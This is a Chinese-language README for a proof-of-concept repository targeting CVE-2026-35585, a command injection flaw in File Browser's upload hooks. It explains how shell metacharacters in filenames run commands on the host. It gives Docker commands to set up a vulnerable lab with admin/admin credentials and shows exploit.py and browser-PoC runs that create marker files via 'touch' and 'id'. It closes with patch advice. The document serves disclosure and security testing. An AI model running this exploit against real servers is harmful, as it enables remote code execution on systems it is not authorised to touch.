此仓库是 File Browser(版本 2.0.0 至 2.33.1)中发现的一个严重 OS 命令注入漏洞 CVE-2026-35585 的概念验证(PoC)。
该漏洞存在于“自定义命令钩子”功能中。由于在 shell 执行时,诸如 $FILE 或 $USERNAME 等环境变量未能得到充分清理,拥有文件上传权限的已认证用户可能利用恶意文件名在主机系统上执行任意命令。
发现者: saku0512 (https://github.com/Saku0512)
本项目仅限用于教育目的和道德安全测试。
作者不对由于滥用此工具、造成的任何损害或非法行为承担任何责任。未经授权访问计算机系统是违法的。使用本软件即表示您同意仅在获得明确授权的环境中进行安全测试。
在 File Browser 中,管理员可以配置如“上传后”之类的钩子。当这些钩子被执行时,应用程序会运行 shell 命令,并将 $FILE 等变量替换为实际文件名。如果文件名包含 ;、&、| 等 shell 元字符,由于未经过适当转义,它们会直接在系统 shell 中被执行。
本节说明如何利用提供的环境和 exploit 脚本复现远程代码执行 (RCE)。
使用 Docker Compose 启动存在漏洞的环境(File Browser v2.33.1)。首次运行时 data/filebrowser.db 不存在,因此需要先初始化 File Browser 的数据库,然后再配置钩子。
# 为 data 目录设置适当权限
mkdir -p data && sudo chown -R 1000:1000 data
# 初始化数据库
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
# 添加 admin / admin 用户
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
# 将 shell 设置为 "sh -c"
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# 添加上传后命令
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# 启动容器
docker compose up -d
如果 data/filebrowser.db 已存在,则无需执行 config init。如果 admin 用户已存在,请使用以下命令重置密码,而不是 users add。
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
如果在容器启动后需要更改钩子配置,请先执行 docker compose stop 以避免 SQLite 锁定,然后运行配置命令,最后执行 docker compose start。
运行 exploit.py 脚本,自动完成登录和恶意文件上传。以下命令尝试在容器内的 /tmp 目录创建一个名为 pwned_rce_test 的文件。
# 安装依赖
pip install requests
# 执行 exploit
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
检查容器内是否已创建文件,以验证命令是否成功执行。
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
如果文件存在,则表明 RCE 已确认。
现有的 exploit.py 可直接使用。如果您希望以更贴近操作 File Browser 的方式验证,可以使用附带的浏览器 PoC 向导。
执行上面的“1. 环境搭建与初始配置”,确保可以通过 http://localhost:8080 登录 File Browser。
python3 browser_poc.py
在浏览器中打开以下地址:
http://127.0.0.1:8090/
http://localhost:8080 是否可达。admin / admin 登录,获取 File Browser API 的 token。id > /srv/pwned_browser_rce.txt。/srv/pwned_browser_rce.txt,在界面内查看 RCE 结果。由于 docker-compose.yml 将 /srv 挂载到了本仓库,因此成功时主机端也会创建 pwned_browser_rce.txt。
请将 File Browser 更新至 版本 2.33.8 或更高版本。 在修复版本中,钩子功能默认被禁用,并且变量展开的处理更加安全。